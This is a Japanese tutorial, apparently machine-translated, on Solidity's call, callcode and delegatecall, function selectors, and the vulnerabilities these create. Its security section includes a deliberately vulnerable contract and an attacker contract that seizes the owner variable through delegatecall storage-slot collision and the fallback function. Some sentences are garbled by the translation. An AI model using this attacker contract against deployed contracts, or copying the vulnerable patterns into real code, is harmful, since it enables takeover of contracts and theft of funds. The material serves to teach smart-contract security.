目次
1. 3つの呼び出し方法
Solidity でコントラクトが他のコントラクトの関数を呼び出す方法は 3 つあります。
<address>.call(...) returns (bool)
<address>.callcode(...) returns (bool)
<address>.delegatecall(...) returns (bool)
1)呼び出し()
call は、最も一般的に使用される呼び出しメソッドです。call の外部呼び出しコンテキストは呼び出し先コントラクトです。つまり、実行環境は呼び出し後、組み込み変数 msg の値は呼び出し元の実行環境に合わせて変更されます。
2)デリゲートコール()
delegatecall の外部呼び出しコンテキストは呼び出し元コントラクトであり、実行環境が呼び出し元の実行環境であることを意味します。 call、組み込み変数 msg の値は呼び出し元に対して変更されません。
3)コールコード()
コールコードの外部呼び出しコンテキストは呼び出し元コントラクトです。これは、実行環境が呼び出し元の実行環境であり、構築された変数 msg は呼び出し後です。 の値は呼び出し元に変更されます
2. 2 つの呼び出しパラメータ タイプ
call 関数に渡されるパラメータには 2 つのタイプがあります。
1) 関数シグネチャ
関数シグネチャ = 関数名 + (パラメータ型リスト)、uint および int は uint256 および int256 として記述する必要があります。
func(uint arg1, int arg2) ==> func(uint256,int256)
呼び出し方法:
<addr>.call(bytes)
addr.call(abi.encodeWithSignature("func(uint256)", arg1));
addr.call(msg.data);
メッセージデータ
msg.data は Solidity のグローバル変数です。値は完全な calldata (関数呼び出し時に渡されるデータ) です。最初の 4 バイトは関数セレクタです。以下のパラメータの各値は、32 バイトの固定長の 16 進文字列に変換されます。複数のパラメーターがある場合、それらは連結されます。
図に示すように、three_call のパラメータ値は msg.data の値と同じです。
2) 機能セレクター
関数セレクター: 関数シグネチャの Keccak ハッシュの最初の 4 バイト、その後にパラメーター
<addr>.call(bytes4 selector)
addr.call(bytes4(keccak-256("func(uint)")),arg1);
addr.call(abi.encodeWithSelector(0x6a627842, "0x2c44b726ADF1963cA47Af88B284C06f30380fC78"))
3. 脆弱性シナリオ
前提知識: EVM ストレージ
単一のコントラクト状態変数はストレージに保存され、宣言順にカード スロットに保存されます
contract A{
address owner;
B addrB;
}
3.1 デリゲートコール
デリゲートコールの変更点
コントラクト A とコントラクト C の両方に状態変数がある場合、delegatecall によって呼び出される関数がコントラクト C の最初の状態変数の値を変更すると、実際に変更されるのはコントラクト A の最初の状態変数の値 (スロット 0) になります。契約 A. の状態変数の所有者
脆弱性シナリオ:
- delegatecall アドレスは制御可能であり、呼び出し元のコントラクト状態変数は変更できます。
- delegatecall パラメータは制御可能であり、呼び出されたコントラクトの機密機能を実行できます。たとえば、msg.data は delegatecall パラメータとして使用されます。
pragma solidity ^0.4.23;
// 合约 A
contract A{
address owner;
B addrB;
constructor() {
owner = msg.sender;
}
function changeOwner(address _newOwner) public {
require(msg.sender == owner);
owner = _newOwner;
}
function setB(B addr) public {
addrB = addr;
}
// vuln1:delegatecall 地址可控
function vuln1(address _contract) public {
_contract.delegatecall(abi.encodeWithSignature("func()"));
}
// vuln2:delegatecall 参数可控
function() public{
addrB.delegatecall(msg.data);
}
}
// 合约 B
contract B {
address public owner;
function init() public {
owner = msg.sender;
}
}
攻撃契約
pragma solidity ^0.4.23;
import "./A.sol";
contract Attacker{
address public owner;
// 攻击 vuln1
function func() public {
// 修改合约 A 状态变量 owner
owner = msg.sender;
}
function attack_vuln2(address addrA) public {
// 调用合约 A 中不存在的函数 init,进而执行 fallback 函数,
// 而此时 msg.data 的前4个字节就是 init 函数选择器,
// 进而执行了合约 B 的 init 函数
// A(addrA).init();
addrA.call(abi.encodeWithSignature("init()"));
}
}
3.2 通話
call を使用して別のコントラクトの関数を呼び出す場合、実行環境は呼び出されたコントラクトの実行環境となり、呼び出されたコントラクトの状態変数も変更されます。コントラクト内の他のコントラクトをインスタンス化することは、呼び出しと同じです。
call の脆弱性シナリオは、delegatecall の脆弱性シナリオと似ています。
- 呼び出しアドレスは制御可能です: 任意のアドレス契約の同名関数を実行します
- 呼び出しパラメータは制御可能です。このアドレスでコントラクトの任意の関数を実行します。
- 呼び出し関数のシグネチャは制御可能です
- 呼び出し関数のパラメータは制御可能です
EVM の特徴: EVM にはパラメータを取得する際にパラメータ番号の検証プロセスがありません。値は前から後ろに取得されます。十分なパラメータを取得した後、最後に余分なパラメータが切り捨てられ、途中でエラーは報告されません。コンパイルと実行の段階。
次のように: 次のパラメータ 4 と 5 は切り捨てられます。
addr.call(bytes4(keccak256("test(uint256,uint256,uint256)")),1,2,3,4,5)